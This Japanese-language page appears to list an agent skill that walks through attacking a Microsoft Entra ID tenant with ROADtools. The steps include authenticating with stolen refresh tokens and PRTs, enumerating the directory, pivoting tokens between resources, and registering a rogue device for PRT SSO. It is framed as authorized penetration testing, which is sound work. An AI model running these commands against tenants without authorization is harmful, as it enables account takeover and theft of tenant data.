Communitygithub.com

ROADtoolsによるEntra ID攻撃

ROADreconとroadtxを使用してMicrosoft Entra ID(Azure AD)テナントを列挙し、トークン取得・交換、PRTベースのSSOを実行します。

ROADtoolsによるEntra ID攻撃 とは?

このスキルは、ROADtools(Dirk-jan Mollema氏作成)を利用してMicrosoft Entra ID(旧Azure AD)テナントに対する認可されたセキュリティ評価を実施するための詳細な手順を提供します。主な機能として、ROADreconによるディレクトリ全体のオフライン列挙とGUI分析、roadtxによる多様なOAuthフロー(ROPC、デバイスコード、リフレッシュトークン交換、PRT操作)を用いたトークン取得・操作をカバーします。MITRE ATT&CKのDiscovery(T1087.004、T1069.003、T1538)およびCredential Access / Defense Evasion(T1528、T1550.001)の各技法に対応し、条件付きアクセスポリシーの分析、BloodHoundへのエクスポートも可能です。このスキルは、フォールクレデンシャル、リフレッシュトークン、またはPRTから出発してテナントの攻撃経路をマッピングすることを目的としており、Azure CLI、Microsoft Graph、Azure Resource Managerなど複数のリソース間でのトークンピボット(FOCI対応)を実演します。すべての操作は対象テナントへの明示的な書面による許可を得た上でのみ実行すべきです。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

ROADtoolsによるEntra ID攻撃 は何をしますか?

認可された使用のみ: ROADtoolsは実際のMicrosoft Entra ID(Azure AD)テナントと対話し、デバイスの登録、トークンのミント・交換、ディレクトリオブジェクトの列挙を行います。所有するテナント、または書面で明示的にテストを許可されたテナントに対してのみ使用してください。クラウドテナントへの無許可アクセスは違法です。

概要

ROADtools(Dirk-jan Mollema氏作成)は、Microsoft Entra ID向けの事実上の攻撃ツールキットです。主に2つのコンポーネントで構成されます:

  • ROADrecon — Entra IDに認証し、Azure AD Graph APIを介してディレクトリ全体をローカルのSQLiteデータベースに収集し、Angular GUIを提供してユーザー、グループ、役割、アプリケーション、サービスプリンシパル、条件付きアクセスポリシー、デバイスオブジェクトをオフラインで探索できます。プラグインシステムによりBloodHoundへのエクスポートやCAポリシーの分析が可能です。
  • roadtx (ROADtools Token eXchange) — 多様なOAuthフロー(ROPC、デバイスコード、認可コード、リフレッシュトークン交換、アプリ/フェデレーテッドアプリ)を介してEntra発行トークンを取得・交換し、デバイス登録、およびプライマリリフレッシュトークン(PRT)操作(PRTベースのSSOやクッキーミントを含む)を実行します。FOCI(Family of Client IDs)対応により、あるファーストパーティクライアントのリフレッシュトークンを別のリソースのために交換できます。

これらを組み合わせることで、クラウドIDに対するDiscoveryフェーズ(テナントの列挙(T1087.004 Account Discovery: Cloud Account)およびMicrosoft Graph、Azure Resource Manager、その他のリソースにアクセスするために必要なトークンの取得/操作)をカバーします。ROADreconのオフラインデータベースはステルス性と高速性を提供し、roadtxはトークン窃取、PRT悪用、クロスリソースピボットを実用的にします。

使用タイミング

  • 認可されたAzure / Entra IDレッドチームまたはクラウドペネトレーションテスト中。
  • フォールクレデンシャル、リフレッシュトークン、またはPRTを入手しており、テナントを列挙する必要がある場合。
  • あるリソース(例:Azure CLI)のトークンを別のリソース(例:Microsoft Graph)にピボットする必要がある場合。
  • 条件付きアクセス、デバイス準拠、トークン制御が実際に攻撃者を制限するかを検証する場合。
  • Entraの攻撃経路をマッピングする場合(グラフ分析のためにBloodHoundにエクスポート)。

前提条件

  • 対象テナントに対する書面による認可と定義されたスコープ。
  • 開始クレデンシャル: ユーザー名/パスワード(MFAフローなし)、デバイスコードセッション、リフレッシュ/アクセストークン、または登録済みデバイスのPRT。
  • Python 3.7以上(roadtx Seleniumフローには対応するgeckodriver/Firefoxが必要)。
# コアインストール(roadlibは共有依存関係で自動的にインストールされます)
python -m pip install roadrecon
python -m pip install roadtx
# 確認
roadrecon --help
roadtx --help

目的

  • 適切なフロー(MFA対応にはデバイスコード推奨)を介してEntra IDに認証する。
  • ROADreconでディレクトリ全体を収集し、GUIで分析する。
  • ディレクトリをBloodHoundにエクスポートし、CAポリシー分析プラグインを実行する。
  • roadtxでトークンを取得し、リソース/クライアント間でリフレッシュトークンを交換する。
  • PRTベースのSSOを実演し、結果として得られるアクセスを文書化する。

MITRE ATT&CKマッピング

ID戦術公式テクニック名このスキルでの役割
T1087.004DiscoveryAccount Discovery: Cloud AccountROADreconがテナントユーザー/アカウントを列挙
T1069.003DiscoveryPermission Groups Discovery: Cloud GroupsROADreconがEntraグループと役割を列挙
T1538DiscoveryCloud Service DashboardGUIによるテナント構成の探索
T1550.001Defense Evasion / Lateral MovementUse Alternate Authentication Material: Application Access Tokenroadtxによるクロスリソースリフレッシュトークン交換
T1528Credential AccessSteal Application Access TokenroadtxによるPRT/トークン取得

ワークフロー

ステップ1: ROADreconで認証

フォールに合ったフローを選択してください。デバイスコードはMFAに対応しています。ROPC(-u/-p)は対応していません。

# ユーザー名/パスワード(レガシー、MFA非対応)
roadrecon auth -u [email protected] -p 'Password123!'

# デバイスコードフロー(MFA対応)
roadrecon auth --device-code

# 盗んだアクセスまたはリフレッシュトークンから
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# PRT(セッションキーあり)からSSOグレードのアクセス
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

認証により、作業ディレクトリに.roadtools_authが作成されます。

ステップ2: ディレクトリを収集

# roadrecon.db(デフォルト)にフル収集
roadrecon gather

# MFA/認証方法の詳細を含める(特権ロールが必要)
roadrecon gather --mfa

ステップ3: GUIで探索

roadrecon gui
# http://127.0.0.1:5000 にアクセス — ユーザー、グループ、役割、アプリケーション、
# サービスプリンシパル、デバイス、条件付きアクセスポリシーをすべてオフラインで確認できます。

ステップ4: 分析プラグインを実行

# 条件付きアクセスポリシーの分析
roadrecon plugin policies -h
roadrecon plugin policies

# 収集したデータをBloodHoundインポート可能な形式にエクスポート
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

ステップ5: roadtxでトークンを取得

# ROPC: Azure CLIクライアント用のMicrosoft Graphトークンを取得
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# TeamsクライアントからGraphへのデバイスコード形式のインタラクティブ認証
roadtx interactiveauth -c msteams -r msgraph

# 既存のリフレッシュトークンから
roadtx gettokens --refresh-token <refresh_token> -r msgraph

トークンは.roadtools_authに書き込まれます(--tokens-stdoutで標準出力に出力)。

ステップ6: リソース間でリフレッシュトークンを交換(FOCIピボット)

あるファーストパーティクライアント用に取得したFOCIリフレッシュトークンは、再認証なしで別のリソース用に交換できます。

# 保存されたリフレッシュトークンをAzure Resource Managerトークンに変換
roadtx refreshtokento -r azrm

# Teamsクライアント経由でスコープ指定のGraphトークンに変換
roadtx refreshtokento -c msteams -r msgraph

# 特定のスコープを保持するファーストパーティクライアントを検索
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

ステップ7: デバイス登録とPRTベースのSSO

# (仮想)デバイスをテナントに登録
roadtx device -n redteam-device

# デバイス証明書/キーとユーザークレデンシャルを使用してPRTを要求
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# PRTを使用してリソースにクライアントを認証(SSOグレード)
roadtx prtauth -c msteams -r msgraph

# PRTをインタラクティブなMFA要求でエンリッチ
roadtx prtenrich -u [email protected]

ステップ8: トークンを検査

# 保存された/指定されたトークンのクレームをデコードして表示
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

ツールとリソース

ツール目的主なソース
ROADtools(リポジトリ)ツールキット概要とWikihttps://github.com/dirkjanm/ROADtools
ROADrecon Wiki認証/収集/GUI/プラグインの使用方法https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx Wikiトークン交換 + PRT/デバイスフローhttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CEエクスポートされたEntraデータのグラフ分析https://github.com/SpecterOps/BloodHound
Microsoft ID プラットフォームトークン/フローリファレンスhttps://learn.microsoft.com/entra/identity-platform/

検証基準

  • 認可されたフローを介して対象テナントに認証され、.roadtools_authが作成された。
  • ディレクトリがroadrecon.dbに収集された(ロールが許可する場合は--mfa付き)。
  • GUIが探索され、ユーザー、グループ、役割、アプリ、CAポリシーが確認された。
  • CAポリシーおよびBloodHoundプラグインが実行され、データがエクスポートされた。
  • roadtxで少なくとも1つのリソースのトークンが取得された。
  • リフレッシュトークンが2つ目のリソースに交換されたことが実演された(FOCIピボット)。
  • デバイスが登録され、PRTベースのSSOが実演された(スコープ内の場合)。
  • トークンのクレームがroadtx describeで検査された。
  • 発見事項とアクセスがエンゲージメントレポート用に文書化された。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

関連スキル